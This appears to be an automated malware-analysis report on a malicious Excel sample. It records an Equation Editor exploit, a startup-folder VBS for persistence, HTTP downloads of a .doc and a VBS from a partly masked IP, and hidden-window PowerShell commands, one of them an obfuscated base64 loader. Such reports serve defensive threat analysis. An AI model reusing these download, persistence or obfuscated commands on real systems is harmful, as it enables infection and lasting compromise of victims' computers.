Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\ rw.vbs
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\IE_Update.vbs"
Downloads and executes files.
Modifies file system
Creates the following files
- %TEMP%\ie_update.vbs
- <Current directory>\71b41000
Substitutes the following files
- <PATH_SAMPLE>.xls
Network activity
Connects to
- '19#.#10.175.4':80
- 'up#####eimagens.com.br':443
TCP
HTTP GET requests
- http://19#.#10.175.4/receipt_232/2/0oO0O0O0O0Oo0o000O0O0O0O0O000%23%23%23%23%23%23%23%23%23%23%23O0o0o0O0o0o0OO0o0o0000O000%23%23%23%23%23%23%23%23%23%23%23%23%23%2300000000000.dOC
- http://19#.#10.175.4/receipt_232/1/receipt.vbs
Other
- 'up#####eimagens.com.br':443
UDP
- DNS ASK up#####eimagens.com.br
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('%TEMP%\IE_Update.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Pr...' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('%TEMP%\IE_Update.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Pr...
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 5
- '%WINDIR%\syswow64\cmd.exe' /c "powershell -command [System.IO.File]::Copy('%TEMP%\IE_Update.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Rw.vbs')"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command [System.IO.File]::Copy('%TEMP%\IE_Update.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ Rw.vbs')
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@...
